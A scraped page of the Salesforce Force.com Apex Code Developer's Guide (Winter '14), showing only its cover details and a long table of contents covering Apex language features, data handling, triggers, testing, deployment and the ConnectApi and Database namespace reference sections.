SlideShare a Scribd company logo
Version 29.0: Winter ’14

Force.com Apex Code Developer's Guide

Last updated: January 3, 2014
© Copyright 2000–2013 salesforce.com, inc. All rights reserved. Salesforce.com is a registered trademark of salesforce.com, inc., as are other

names and marks. Other marks appearing herein may be trademarks of their respective owners.
Salesforce Apex Language Reference
Table of Contents

Table of Contents
Getting Started....................................................................................................................................1
Chapter 1: Introduction...............................................................................................................1
Introducing Apex...........................................................................................................................................................2
What is Apex?...............................................................................................................................................................2
When Should I Use Apex?............................................................................................................................................4
How Does Apex Work?................................................................................................................................................5
Developing Code in the Cloud......................................................................................................................................5
What's New?.................................................................................................................................................................6
Understanding Apex Core Concepts.............................................................................................................................7

Chapter 2: Apex Development Process.......................................................................................12
What is the Apex Development Process?....................................................................................................................13
Using a Developer or Sandbox Organization..............................................................................................................13
Learning Apex.............................................................................................................................................................15
Writing Apex Using Development Environments......................................................................................................16
Writing Tests..............................................................................................................................................................17
Deploying Apex to a Sandbox Organization...............................................................................................................18
Deploying Apex to a Salesforce Production Organization..........................................................................................18
Adding Apex Code to a Force.com AppExchange App..............................................................................................18

Chapter 3: Apex Quick Start......................................................................................................20
Writing Your First Apex Class and Trigger................................................................................................................20
Creating a Custom Object...............................................................................................................................20
Adding an Apex Class.....................................................................................................................................21
Adding an Apex Trigger..................................................................................................................................22
Adding a Test Class.........................................................................................................................................23
Deploying Components to Production............................................................................................................25

Writing Apex.....................................................................................................................................26
Chapter 4: Data Types and Variables..........................................................................................26
Data Types..................................................................................................................................................................27
Primitive Data Types...................................................................................................................................................27
Collections...................................................................................................................................................................30
Lists.................................................................................................................................................................30
Sets..................................................................................................................................................................32
Maps................................................................................................................................................................33
Parameterized Typing......................................................................................................................................34
Enums.........................................................................................................................................................................34
Variables......................................................................................................................................................................36
Constants.....................................................................................................................................................................37
Expressions and Operators..........................................................................................................................................38
Understanding Expressions..............................................................................................................................38

i
Table of Contents

Understanding Expression Operators..............................................................................................................39
Understanding Operator Precedence...............................................................................................................45
Using Comments.............................................................................................................................................45
Assignment Statements...............................................................................................................................................45
Understanding Rules of Conversion............................................................................................................................47

Chapter 5: Control Flow Statements..........................................................................................49
Conditional (If-Else) Statements................................................................................................................................50
Loops...........................................................................................................................................................................50
Do-While Loops.............................................................................................................................................51
While Loops....................................................................................................................................................51
For Loops........................................................................................................................................................51

Chapter 6: Classes, Objects, and Interfaces.................................................................................54
Understanding Classes.................................................................................................................................................55
Apex Class Definition......................................................................................................................................55
Class Variables.................................................................................................................................................56
Class Methods.................................................................................................................................................56
Using Constructors..........................................................................................................................................59
Access Modifiers..............................................................................................................................................60
Static and Instance...........................................................................................................................................61
Apex Properties...............................................................................................................................................64
Extending a Class............................................................................................................................................66
Extended Class Example.................................................................................................................................68
Understanding Interfaces.............................................................................................................................................71
Custom Iterators..............................................................................................................................................72
Keywords.....................................................................................................................................................................74
Using the final Keyword..................................................................................................................................74
Using the instanceof Keyword.........................................................................................................................74
Using the super Keyword.................................................................................................................................75
Using the this Keyword...................................................................................................................................76
Using the transient Keyword...........................................................................................................................76
Using the with sharing or without sharing Keywords......................................................................................77
Annotations.................................................................................................................................................................78
Deprecated Annotation...................................................................................................................................79
Future Annotation...........................................................................................................................................79
IsTest Annotation............................................................................................................................................80
ReadOnly Annotation.....................................................................................................................................83
RemoteAction Annotation..............................................................................................................................83
TestVisible Annotation....................................................................................................................................84
Apex REST Annotations................................................................................................................................84
Classes and Casting.....................................................................................................................................................86
Classes and Collections....................................................................................................................................87
Collection Casting...........................................................................................................................................87
Differences Between Apex Classes and Java Classes...................................................................................................88

ii
Table of Contents

Class Definition Creation............................................................................................................................................89
Naming Conventions.......................................................................................................................................90
Name Shadowing.............................................................................................................................................90
Namespace Prefix........................................................................................................................................................91
Using the System Namespace..........................................................................................................................91
Namespace, Class, and Variable Name Precedence.........................................................................................92
Type Resolution and System Namespace for Types........................................................................................93
Apex Code Versions....................................................................................................................................................93
Setting the Salesforce API Version for Classes and Triggers..........................................................................94
Setting Package Versions for Apex Classes and Triggers................................................................................95
Lists of Custom Types and Sorting.............................................................................................................................95
Using Custom Types in Map Keys and Sets...............................................................................................................95

Chapter 7: Working with Data in Apex.......................................................................................98
sObject Types..............................................................................................................................................................99
Accessing sObject Fields................................................................................................................................100
Validating sObjects and Fields ......................................................................................................................101
Adding and Retrieving Data......................................................................................................................................101
DML.........................................................................................................................................................................102
DML Statements vs. Database Class Methods.............................................................................................102
DML Operations As Atomic Transactions...................................................................................................103
How DML Works.........................................................................................................................................103
DML Operations...........................................................................................................................................104
DML Exceptions and Error Handling..........................................................................................................114
More About DML........................................................................................................................................115
Locking Records............................................................................................................................................124
SOQL and SOSL Queries........................................................................................................................................125
Working with SOQL and SOSL Query Results...........................................................................................127
Accessing sObject Fields Through Relationships..........................................................................................127
Understanding Foreign Key and Parent-Child Relationship SOQL Queries...............................................129
Working with SOQL Aggregate Functions..................................................................................................129
Working with Very Large SOQL Queries....................................................................................................130
Using SOQL Queries That Return One Record...........................................................................................132
Improving Performance by Not Searching on Null Values............................................................................132
Working with Polymorphic Relationships in SOQL Queries.......................................................................133
Using Apex Variables in SOQL and SOSL Queries.....................................................................................134
Querying All Records with a SOQL Statement............................................................................................135
SOQL For Loops......................................................................................................................................................136
SOQL For Loops Versus Standard SOQL Queries......................................................................................136
SOQL For Loop Formats.............................................................................................................................136
sObject Collections....................................................................................................................................................138
Lists of sObjects.............................................................................................................................................138
Sorting Lists of sObjects................................................................................................................................139
Expanding sObject and List Expressions.......................................................................................................142
Sets of Objects...............................................................................................................................................142
iii
Table of Contents

Maps of sObjects...........................................................................................................................................143
Dynamic Apex...........................................................................................................................................................145
Understanding Apex Describe Information...................................................................................................145
Using Field Tokens........................................................................................................................................147
Understanding Describe Information Permissions........................................................................................148
Describing sObjects Using Schema Method.................................................................................................149
Describing Tabs Using Schema Methods......................................................................................................149
Accessing All sObjects...................................................................................................................................150
Accessing All Data Categories Associated with an sObject...........................................................................151
Dynamic SOQL............................................................................................................................................155
Dynamic SOSL.............................................................................................................................................156
Dynamic DML..............................................................................................................................................157
Apex Security and Sharing........................................................................................................................................159
Enforcing Sharing Rules................................................................................................................................159
Enforcing Object and Field Permissions.......................................................................................................161
Class Security.................................................................................................................................................162
Understanding Apex Managed Sharing.........................................................................................................162
Security Tips for Apex and Visualforce Development...................................................................................174
Custom Settings........................................................................................................................................................180

Ways to Invoke Apex........................................................................................................................182
Chapter 8: Invoking Apex........................................................................................................182
Anonymous Blocks....................................................................................................................................................183
Triggers.....................................................................................................................................................................184
Bulk Triggers.................................................................................................................................................185
Trigger Syntax...............................................................................................................................................185
Trigger Context Variables.............................................................................................................................186
Context Variable Considerations...................................................................................................................188
Common Bulk Trigger Idioms......................................................................................................................189
Defining Triggers..........................................................................................................................................190
Triggers and Merge Statements.....................................................................................................................192
Triggers and Recovered Records....................................................................................................................192
Triggers and Order of Execution...................................................................................................................193
Operations that Don't Invoke Triggers.........................................................................................................195
Entity and Field Considerations in Triggers.................................................................................................196
Trigger Exceptions........................................................................................................................................197
Trigger and Bulk Request Best Practices.......................................................................................................198
Asynchronous Apex...................................................................................................................................................199
Future Methods.............................................................................................................................................199
Apex Scheduler..............................................................................................................................................201
Batch Apex....................................................................................................................................................207
Web Services.............................................................................................................................................................218
Exposing Apex Methods as SOAP Web Services.........................................................................................218
Exposing Apex Classes as REST Web Services............................................................................................220

iv
Table of Contents

Apex Email Service....................................................................................................................................................229
Using the InboundEmail Object....................................................................................................................230
Visualforce Classes.....................................................................................................................................................231
Invoking Apex Using JavaScript................................................................................................................................232
JavaScript Remoting......................................................................................................................................232
Apex in AJAX................................................................................................................................................232

Chapter 9: Apex Transactions and Governor Limits..................................................................234
Apex Transactions.....................................................................................................................................................235
Understanding Execution Governors and Limits......................................................................................................236
Using Governor Limit Email Warnings....................................................................................................................242
Running Apex Within Governor Execution Limits..................................................................................................242

Chapter 10: Using Salesforce Features with Apex......................................................................245
Working with Chatter in Apex.................................................................................................................................246
Chatter in Apex Quick Start..........................................................................................................................247
Working with Feeds and Feed Items.............................................................................................................251
Using ConnectApi Input and Output Classes...............................................................................................256
Accessing ConnectApi Data in Communities and Portals............................................................................256
Understanding Limits for ConnectApi Classes.............................................................................................257
Serializing and Deserializing ConnectApi Obejcts........................................................................................257
ConnectApi Versioning and Equality Checking...........................................................................................257
Casting ConnectApi Objects.........................................................................................................................258
Wildcards.......................................................................................................................................................258
Testing ConnectApi Code.............................................................................................................................259
Differences Between ConnectApi Classes and Other Apex Classes..............................................................260
Approval Processing..................................................................................................................................................261
Apex Approval Processing Example..............................................................................................................262
Outbound Email........................................................................................................................................................262
Inbound Email...........................................................................................................................................................265
Knowledge Management...........................................................................................................................................265
Publisher Actions.......................................................................................................................................................265
Force.com Sites..........................................................................................................................................................266
Rewriting URLs for Force.com Sites.........................................................................................................................266
Support Classes..........................................................................................................................................................272
Visual Workflow........................................................................................................................................................273
Passing Data to a Flow Using the Process.Plugin Interface......................................................................................274
Implementing the Process.Plugin Interface...................................................................................................274
Using the Process.PluginRequest Class.........................................................................................................276
Using the Process.PluginResult Class............................................................................................................276
Using the Process.PluginDescribeResult Class..............................................................................................277
Process.Plugin Data Type Conversions.........................................................................................................279
Sample Process.Plugin Implementation for Lead Conversion.......................................................................279
Communities.............................................................................................................................................................284
Zones.........................................................................................................................................................................285

v
Table of Contents

Chapter 11: Integration and Apex Utilities................................................................................286
Invoking Callouts Using Apex...................................................................................................................................287
Adding Remote Site Settings........................................................................................................................287
SOAP Services: Defining a Class from a WSDL Document........................................................................287
Invoking HTTP Callouts..............................................................................................................................299
Using Certificates..........................................................................................................................................306
Callout Limits and Limitations.....................................................................................................................308
JSON Support...........................................................................................................................................................309
Roundtrip Serialization and Deserialization..................................................................................................310
JSON Generator............................................................................................................................................312
JSON Parsing................................................................................................................................................313
XML Support............................................................................................................................................................315
Reading and Writing XML Using Streams...................................................................................................315
Reading and Writing XML Using the DOM...............................................................................................318
Securing Your Data...................................................................................................................................................321
Encoding Your Data..................................................................................................................................................323
Using Patterns and Matchers.....................................................................................................................................323
Using Regions................................................................................................................................................325
Using Match Operations...............................................................................................................................325
Using Bounds................................................................................................................................................325
Understanding Capturing Groups.................................................................................................................326
Pattern and Matcher Example.......................................................................................................................326

Finishing Touches............................................................................................................................328
Chapter 12: Debugging Apex...................................................................................................328
Understanding the Debug Log..................................................................................................................................329
Working with Logs in the Developer Console..............................................................................................333
Debugging Apex API Calls...........................................................................................................................341
Exceptions in Apex....................................................................................................................................................342
Exception Statements....................................................................................................................................343
Exception Handling Example........................................................................................................................344
Built-In Exceptions and Common Methods.................................................................................................346
Catching Different Exception Types.............................................................................................................349
Creating Custom Exceptions.........................................................................................................................350

Chapter 13: Testing Apex.........................................................................................................354
Understanding Testing in Apex.................................................................................................................................355
What to Test in Apex................................................................................................................................................355
What are Apex Unit Tests?.......................................................................................................................................356
Accessing Private Test Class Members..........................................................................................................358
Understanding Test Data..........................................................................................................................................360
Isolation of Test Data from Organization Data in Unit Tests......................................................................360
Using the isTest(SeeAllData=true) Annotation.............................................................................................361
Loading Test Data.........................................................................................................................................363
vi
Table of Contents

Common Test Utility Classes for Test Data Creation..................................................................................364
Running Unit Test Methods.....................................................................................................................................365
Using the runAs Method...............................................................................................................................368
Using Limits, startTest, and stopTest...........................................................................................................369
Adding SOSL Queries to Unit Tests............................................................................................................370
Testing Best Practices................................................................................................................................................370
Testing Example........................................................................................................................................................371

Chapter 14: Deploying Apex....................................................................................................376
Using Change Sets To Deploy Apex.........................................................................................................................377
Using the Force.com IDE to Deploy Apex...............................................................................................................377
Using the Force.com Migration Tool........................................................................................................................377
Understanding deploy....................................................................................................................................379
Understanding retrieveCode..........................................................................................................................380
Understanding runTests()..............................................................................................................................382
Using SOAP API to Deploy Apex............................................................................................................................382

Chapter 15: Distributing Apex Using Managed Packages...........................................................383
What is a Package?....................................................................................................................................................384
Package Versions.......................................................................................................................................................384
Deprecating Apex......................................................................................................................................................384
Behavior in Package Versions....................................................................................................................................385
Versioning Apex Code Behavior....................................................................................................................385
Apex Code Items that Are Not Versioned....................................................................................................386
Testing Behavior in Package Versions...........................................................................................................386

Chapter 16: Reference.......................................................................................................................389
DML Operations..................................................................................................................................................................390
DML Statements......................................................................................................................................................390
Insert Statement.............................................................................................................................................390
Update Statement..........................................................................................................................................391
Upsert Statement...........................................................................................................................................391
Delete Statement...........................................................................................................................................392
Undelete Statement.......................................................................................................................................393
Merge Statement...........................................................................................................................................393
Bulk DML Exception Handling...................................................................................................................394
ApexPages Namespace..........................................................................................................................................................394
Action Class..............................................................................................................................................................395
Action Instance Methods..............................................................................................................................396
Component Class......................................................................................................................................................397
Dynamic Component Properties...................................................................................................................397
IdeaStandardController Class....................................................................................................................................398
IdeaStandardController Instance Methods....................................................................................................400
IdeaStandardSetController Class...............................................................................................................................400
IdeaStandardSetController Instance Methods...............................................................................................403

vii
Table of Contents

KnowledgeArticleVersionStandardController Class.................................................................................................404
KnowledgeArticleVersionStandardController Instance Methods.................................................................405
Message Class............................................................................................................................................................406
Message Instance Methods............................................................................................................................407
StandardController Class..........................................................................................................................................409
StandardController Instance Methods..........................................................................................................410
StandardSetController Class.....................................................................................................................................413
StandardSetController Instance Methods.....................................................................................................415
Approval Namespace.............................................................................................................................................................422
ProcessRequest Class.................................................................................................................................................422
ProcessRequest Instance Methods.................................................................................................................423
ProcessResult Class...................................................................................................................................................424
ProcessResult Instance Methods...................................................................................................................425
ProcessSubmitRequest Class.....................................................................................................................................427
ProcessSubmitRequest Instance Methods.....................................................................................................427
ProcessWorkitemRequest Class................................................................................................................................428
ProcessWorkitemRequest Instance Methods................................................................................................428
Auth Namespace...................................................................................................................................................................430
AuthToken Class.......................................................................................................................................................430
AuthToken Instance Methods.......................................................................................................................430
RegistrationHandler Interface...................................................................................................................................431
RegistrationHandler Instance Methods.........................................................................................................432
Storing User Information and Getting Access Tokens..................................................................................433
Auth.RegistrationHandler Example Implementation...................................................................................434
UserData Class..........................................................................................................................................................435
UserData Properties.......................................................................................................................................435
ChatterAnswers Namespace..................................................................................................................................................438
AccountCreator Interface..........................................................................................................................................439
AccountCreator Instance Methods................................................................................................................439
AccountCreator Example Implementation....................................................................................................440
ConnectApi Namespace........................................................................................................................................................440
Chatter Class.............................................................................................................................................................442
deleteSubscription(String, String).................................................................................................................442
getFollowers(String, String)...........................................................................................................................443
getFollowers(String, String, Integer, Integer)................................................................................................443
getSubscription(String, String)......................................................................................................................444
ChatterFavorites Class...............................................................................................................................................445
addFavorite(String, String, String)................................................................................................................446
addRecordFavorite(String, String, String).....................................................................................................447
deleteFavorite(String, String, String).............................................................................................................447
getFavorite(String, String, String).................................................................................................................448
getFavorites(String, String)...........................................................................................................................448
getFeedItems(String, String, String).............................................................................................................449
getFeedItems(String, String, String, String, Integer, ConnectApi.FeedSortOrder).....................................450

viii
Table of Contents

getFeedItems(String, String, String, Integer, String, Integer, FeedSortOrder).............................................451
setTestGetFeedItems(String, String, String, ConnectApi.FeedItemPage)...................................................452
setTestGetFeedItems(String, String, String, String, Integer, FeedSortOrder,
ConnectApi.FeedItemPage)....................................................................................................................452
setTestGetFeedItems(String, String, String, Integer, String, Integer, FeedSortOrder,
ConnectApi.FeedItemPage)....................................................................................................................453
updateFavorite(String, String, String, Boolean)............................................................................................455
ChatterFeeds Class....................................................................................................................................................455
deleteComment(String, String).....................................................................................................................461
deleteFeedItem(String, String)......................................................................................................................462
deleteLike(String, String)..............................................................................................................................462
getComment(String, String)..........................................................................................................................463
getCommentsForFeedItem(String, String)...................................................................................................463
getCommentsForFeedItem(String, String, String, Integer)..........................................................................464
getFeed(String, ConnectApi.FeedType).......................................................................................................465
getFeed(String, ConnectApi.FeedType, ConnectApi.FeedSortOrder).........................................................465
getFeed(String, ConnectApi.FeedType, String)............................................................................................466
getFeed(String, ConnectApi.FeedType, String, ConnectApi.FeedSortOrder).............................................466
getFeedItem(String, String)...........................................................................................................................467
getFeedItemsFromFeed(String, ConnectApi.FeedType)..............................................................................468
getFeedItemsFromFeed(String, ConnectApi.FeedType, String, Integer, ConnectApi.FeedSortOrder)......468
getFeedItemsFromFeed(String, ConnectApi.FeedType, Integer, ConnectApi.FeedDensity, String, Integer,
ConnectApi.FeedSortOrder)...................................................................................................................469
getFeedItemsFromFeed(String, ConnectApi.FeedType, String)..................................................................471
getFeedItemsFromFeed(String, ConnectApi.FeedType, String, String, Integer,
ConnectApi.FeedSortOrder)...................................................................................................................471
getFeedItemsFromFeed(String, ConnectApi.FeedType, String, Integer, ConnectApi.FeedDensity, String,
Integer, ConnectApi.FeedSortOrder)......................................................................................................472
getFeedItemsFromFilterFeed(String, String, String)....................................................................................474
getFeedItemsFromFilterFeed(String, String, String, String, Integer, ConnectApi.FeedSortOrder)............474
getFeedItemsFromFilterFeed(String, String, String, Integer, ConnectApi.FeedDensity, String, Integer,
ConnectApi.FeedSortOrder)...................................................................................................................476
getFeedPoll(String, String)............................................................................................................................477
getFilterFeed(String, String, String)..............................................................................................................477
getFilterFeed(String, String, String, ConnectApi.FeedType).......................................................................478
getLike(String, String)...................................................................................................................................479
getLikesForComment(String, String)...........................................................................................................479
getLikesForComment(String, String, Integer, Integer)................................................................................480
getLikesForFeedItem(String, String)............................................................................................................481
getLikesForFeedItem(String, String, Integer, Integer).................................................................................481
isModified(String, ConnectApi.FeedType, String, String)...........................................................................482
likeComment(String, String).........................................................................................................................483
likeFeedItem(String, String)..........................................................................................................................483
postComment(String, String, String)............................................................................................................484

ix
Table of Contents

postComment(String, String, ConnectApi.CommentInput, ConnectApi.BinaryInput)..............................484
postFeedItem(String, ConnectApi.FeedType, String, String)......................................................................486
postFeedItem(String, ConnectApi.FeedType, String, ConnectApi.FeedItemInput,
ConnectApi.BinaryInput)........................................................................................................................487
searchFeedItems(String, String)....................................................................................................................489
searchFeedItems(String, String, ConnectApi.FeedSortOrder).....................................................................489
searchFeedItems(String, String, String, Integer)...........................................................................................490
searchFeedItems(String, String, String, Integer, ConnectApi.FeedSortOrder)............................................491
searchFeedItems(String, String, Integer, String, Integer, ConnectApi.FeedSortOrder)...............................491
searchFeedItemsInFeed(String, ConnectApi.FeedType, String)..................................................................492
searchFeedItemsInFeed(String, ConnectApi.FeedType, String, Integer, ConnectApi.FeedSortOrder,
String)......................................................................................................................................................493
searchFeedItemsInFeed(String, ConnectApi.FeedType, Integer, ConnectApi.FeedDensity, String, Integer,
ConnectApi.FeedSortOrder, String).......................................................................................................494
searchFeedItemsInFeed(String, ConnectApi.FeedType, String, String)......................................................495
searchFeedItemsInFeed(String, ConnectApi.FeedType, String, String, Integer, ConnectApi.FeedSortOrder,
String)......................................................................................................................................................496
searchFeedItemsInFeed(String, ConnectApi.FeedType, String, Integer, ConnectApi.FeedDensity, String,
Integer, ConnectApi.FeedSortOrder, String)..........................................................................................497
searchFeedItemsInFilterFeed(String, String, String, String).........................................................................499
searchFeedItemsInFilterFeed(String, ConnectApi.FeedType, String, String, String, Integer,
ConnectApi.FeedSortOrder, String).......................................................................................................499
searchFeedItemsInFilterFeed(String, ConnectApi.FeedType, String, String, Integer,
ConnectApi.FeedDensity, String, Integer, ConnectApi.FeedSortOrder, String)...................................501
setTestGetFeedItemsFromFeed(String, ConnectApi.FeedType, ConnectApi.FeedItemPage)...................502
setTestGetFeedItemsFromFeed(String, ConnectApi.FeedType, String, Integer,
ConnectApi.FeedSortOrder, ConnectApi.FeedItemPage)......................................................................503
setTestGetFeedItemsFromFeed(String, ConnectApi.FeedType, Integer, ConnectApi.FeedDensity, String,
Integer, ConnectApi.FeedSortOrder, ConnectApi.FeedItemPage)........................................................504
setTestGetFeedItemsFromFeed(String, ConnectApi.FeedType, String, ConnectApi.FeedItemPage)........505
setTestGetFeedItemsFromFeed(String, ConnectApi.FeedType, String, String, Integer,
ConnectApi.FeedSortOrder, ConnectApi.FeedItemPage)......................................................................506
setTestGetFeedItemsFromFeed(String, ConnectApi.FeedType, String, Integer, ConnectApi.FeedDensity,
String, Integer, ConnectApi.FeedSortOrder, ConnectApi.FeedItemPage)............................................507
setTestGetFeedItemsFromFilterFeed(String, String, String, ConnectApi.FeedItemPage)..........................509
setTestGetFeedItemsFromFilterFeed(String, String, String, String, Integer, ConnectApi.FeedSortOrder,
ConnectApi.FeedItemPage)....................................................................................................................509
setTestGetFeedItemsFromFilterFeed(String, String, String, Integer, ConnectApi.FeedDensity, String,
Integer, ConnectApi.FeedSortOrder, ConnectApi.FeedItemPage)........................................................511
setTestSearchFeedItemsInFeed(String, ConnectApi.FeedType, String, ConnectApi.FeedItemPage)........512
setTestSearchFeedItemsInFeed(String, ConnectApi.FeedType, String, Integer, ConnectApi.FeedSortOrder,
String, ConnectApi.FeedItemPage).........................................................................................................513
setTestSearchFeedItemsInFeed(String, ConnectApi.FeedType, Integer, ConnectApi.FeedDensity, String,
Integer, ConnectApi.FeedSortOrder, String, ConnectApi.FeedItemPage)............................................514

x
Table of Contents

setTestSearchFeedItemsInFeed(String, ConnectApi.FeedType, String, String,
ConnectApi.FeedItemPage)....................................................................................................................515
setTestSearchFeedItemsInFeed(String, ConnectApi.FeedType, String, String, Integer,
ConnectApi.FeedSortOrder, String, ConnectApi.FeedItemPage)..........................................................516
setTestSearchFeedItemsInFeed(String, ConnectApi.FeedType, String, Integer, ConnectApi.FeedDensity,
String, Integer, ConnectApi.FeedSortOrder, String, ConnectApi.FeedItemPage).................................518
setTestSearchFeedItemsInFilterFeed(String, String, String, String, ConnectApi.FeedItemPage)...............519
setTestSearchFeedItemsInFilterFeed(String, ConnectApi.FeedType, String, String, String, Integer,
ConnectApi.FeedSortOrder, String, ConnectApi.FeedItemPage)..........................................................520
setTestSearchFeedItemsInFilterFeed(String, ConnectApi.FeedType, String, String, Integer,
ConnectApi.FeedDensity, String, Integer, ConnectApi.FeedSortOrder, String,
ConnectApi.FeedItemPage)....................................................................................................................521
shareFeedItem(String, ConnectApi.FeedType, String, String).....................................................................523
updateBookmark(String, String, Boolean)....................................................................................................524
voteOnFeedPoll(String, String, String).........................................................................................................525
ChatterGroups Class.................................................................................................................................................525
addMember(String, String, String)...............................................................................................................527
addMemberWithRole(String, String, String, ConnectApi.GroupMembershipType)..................................528
createGroup(String, ConnectApi.ChatterGroupInput).................................................................................529
deleteMember(String, String)........................................................................................................................529
deletePhoto(String, String)............................................................................................................................530
getGroup(String, String)...............................................................................................................................530
getGroupMembershipRequest(String, String)..............................................................................................531
getGroupMembershipRequests(String, String).............................................................................................531
getGroupMembershipRequests(String, String, ConnectApi.GroupMembershipRequestStatus).................532
getGroups(String)..........................................................................................................................................533
getGroups(String, Integer, Integer)...............................................................................................................533
getGroups(String, Integer, Integer, ConnectApi.GroupArchiveStatus)........................................................534
getMember(String, String)............................................................................................................................535
getMembers(String, String)...........................................................................................................................535
getMembers(String, String, Integer, Integer)................................................................................................536
getMyChatterSettings(String, String)...........................................................................................................536
getPhoto(String, String)................................................................................................................................537
requestGroupMembership(String, String).....................................................................................................537
searchGroups(String, String).........................................................................................................................538
searchGroups(String, String, Integer, Integer)..............................................................................................538
searchGroups(String, String, ConnectApi.GroupArchiveStatus, Integer, Integer).......................................539
setPhoto(String, String, String, Integer)........................................................................................................540
setPhoto(String, String, ConnectApi.BinaryInput).......................................................................................541
setPhotoWithAttributes(String, String, ConnectApi.PhotoInput)...............................................................542
setPhotoWithAttributes(String, String, ConnectApi.PhotoInput, ConnectApi.BinaryInput).....................543
setTestSearchGroups(String, String, ConnectApi.ChatterGroupPage)........................................................545
setTestSearchGroups(String, String, Integer, Integer, ConnectApi.ChatterGroupPage).............................544

xi
Table of Contents

setTestSearchGroups(String, String, ConnectApi.GroupArchiveStatus, Integer, Integer,
ConnectApi.ChatterGroupPage).............................................................................................................545
updateGroup(String, String, ConnectApi.ChatterGroupInput)...................................................................546
updateGroupMember(String, String, ConnectApi.GroupMembershipType)..............................................547
updateMyChatterSettings(String, String, ConnectApi.GroupEmailFrequency)..........................................548
updateRequestStatus(String, String, ConnectApi.GroupMembershipRequestStatus)..................................548
ChatterMessages Class..............................................................................................................................................549
getConversation(String).................................................................................................................................551
getConversation(String, String, Integer).......................................................................................................551
getConversations().........................................................................................................................................552
getConversations(String, Integer)..................................................................................................................552
getMessage(String)........................................................................................................................................553
getMessages().................................................................................................................................................553
getMessages(String, Integer).........................................................................................................................553
getUnreadCount()..........................................................................................................................................554
markConversationRead(String, Boolean)......................................................................................................554
replyToMessage(String, String).....................................................................................................................555
searchConversation(String, String)................................................................................................................555
searchConversation(String, String, String)....................................................................................................556
searchConversations(String)..........................................................................................................................556
searchConversations(String, Integer, String).................................................................................................557
searchMessages(String)..................................................................................................................................557
searchMessages(String, Integer, String)........................................................................................................558
sendMessage(String, String)..........................................................................................................................558
ChatterUsers Class....................................................................................................................................................559
deletePhoto(String, String)............................................................................................................................561
follow(String, String, String).........................................................................................................................562
getChatterSettings(String, String).................................................................................................................562
getFollowers(String, String)...........................................................................................................................563
getFollowers(String, String, Integer, Integer)................................................................................................563
getFollowings(String, String)........................................................................................................................564
getFollowings(String, String, Integer)...........................................................................................................564
getFollowings(String, String, Integer, Integer)..............................................................................................565
getFollowings(String, String, String).............................................................................................................566
getFollowings(String, String, String, Integer)...............................................................................................566
getFollowings(String, String, String, Integer, Integer)..................................................................................567
getGroups(String, String)..............................................................................................................................568
getGroups(String, String, Integer, Integer)...................................................................................................568
getPhoto(String, String)................................................................................................................................569
getUser(String, String)...................................................................................................................................570
getUsers(String).............................................................................................................................................570
getUsers(String, Integer, Integer)..................................................................................................................571
searchUsers(String, String)............................................................................................................................571
searchUsers(String, String, Integer, Integer).................................................................................................572

xii
Table of Contents

searchUsers(String, String, String, Integer, Integer)......................................................................................572
setPhoto(String, String, String, Integer)........................................................................................................573
setPhoto(String, String, ConnectApi.BinaryInput).......................................................................................574
setPhotoWithAttributes(String, String, ConnectApi.Photo)........................................................................575
setPhotoWithAttributes(String, String, ConnectApi.Photo, ConnectApi.BinaryInput)..............................575
setTestSearchUsers(String, String, ConnectApi.UserPage)..........................................................................576
setTestSearchUsers(String, String, Integer, Integer, ConnectApi.UserPage)...............................................577
setTestSearchUsers(String, String, String, Integer, Integer, ConnectApi.UserPage)....................................578
updateChatterSettings(String, String, ConnectApi.GroupEmailFrequency)................................................578
updateUser(String, String, ConnectApi.UserInput)......................................................................................579
Communities Class....................................................................................................................................................580
getCommunities()..........................................................................................................................................580
getCommunities(ConnectApi.CommunityStatus)........................................................................................581
getCommunity(String)..................................................................................................................................581
CommunityModeration Class...................................................................................................................................582
addFlagToComment(String, String).............................................................................................................582
addFlagToFeedItem(String, String)..............................................................................................................583
getFlagsOnComment(String, String)............................................................................................................583
getFlagsOnFeedItem(String, String).............................................................................................................584
removeFlagsOnComment(String, String, String).........................................................................................584
removeFlagsOnFeedItem(String, String, String)..........................................................................................585
Organization Class....................................................................................................................................................586
getSettings()...................................................................................................................................................586
Mentions Class..........................................................................................................................................................586
getMentionCompletions(String, String, String)............................................................................................586
getMentionCompletions(String, String, String, ConnectApi.MentionCompletionType, Integer,
Integer).....................................................................................................................................................587
getMentionValidations(String, String, List<String>, ConnectApi.FeedItemVisibilityType).......................588
Records Class.............................................................................................................................................................589
getMotif(String, String).................................................................................................................................589
Topics Class...............................................................................................................................................................590
assignTopic(String, String, String)................................................................................................................592
assignTopicByName(String, String, String)..................................................................................................592
deleteTopic(String, String)............................................................................................................................593
getGroupsRecentlyTalkingAboutTopic(String, String)................................................................................593
getRecentlyTalkingAboutTopicsForGroup(String, String)...........................................................................594
getRecentlyTalkingAboutTopicsForUser(String, String)..............................................................................594
getRelatedTopics(String, String)...................................................................................................................595
getTopic(String, String).................................................................................................................................595
getTopics(String, String)...............................................................................................................................596
getTopics(String)...........................................................................................................................................596
getTopics(String, ConnectApi.TopicSort)....................................................................................................597
getTopics(String, Integer, Integer)................................................................................................................597
getTopics(String, Integer, Integer, ConnectApi.TopicSort).........................................................................598

xiii
Table of Contents

getTopics(String, String, ConnectApi.TopicSort)........................................................................................599
getTopics(String, String, Integer, Integer)....................................................................................................599
getTopics(String, String, Integer, Integer, ConnectApi.TopicSort).............................................................600
getTopicSuggestions(String, String, Integer)................................................................................................601
getTopicSuggestions(String, String)..............................................................................................................601
getTopicSuggestionsForText(String, String, Integer)...................................................................................602
getTopicSuggestionsForText(String, String).................................................................................................603
getTrendingTopics(String)............................................................................................................................603
getTrendingTopics(String, Integer)...............................................................................................................604
unassignTopic(String, String, String)............................................................................................................604
updateTopic(String, String, ConnectApi.TopicInput)..................................................................................605
UserProfiles Class......................................................................................................................................................605
getUserProfile(String, String)........................................................................................................................606
Zones Class...............................................................................................................................................................606
getZone(String, String).................................................................................................................................607
getZones(String)............................................................................................................................................607
getZones(String, Integer, Integer).................................................................................................................607
searchInZone(String, String, String, ConnectApi.ZoneSearchResultType).................................................608
searchInZone(String, String, String, ConnectApi.ZoneSearchResultType, String, Integer)........................609
ConnectApi Input Classes.........................................................................................................................................610
ConnectApi Output Classes......................................................................................................................................616
ConnectApi Enums...................................................................................................................................................659
ConnectApi Exceptions.............................................................................................................................................667
Database Namespace.............................................................................................................................................................667
Batchable Interface....................................................................................................................................................668
Batchable Instance Methods..........................................................................................................................669
BatchableContext Interface.......................................................................................................................................670
BatchableContext Instance Methods.............................................................................................................671
DeletedRecord Class.................................................................................................................................................671
DeletedRecord Instance Methods.................................................................................................................672
DeleteResult Class.....................................................................................................................................................673
DeleteResult Instance Methods.....................................................................................................................673
DMLOptions Class...................................................................................................................................................675
DmlOptions Properties.................................................................................................................................675
DmlOptions.AssignmentRuleHeader Class..............................................................................................................677
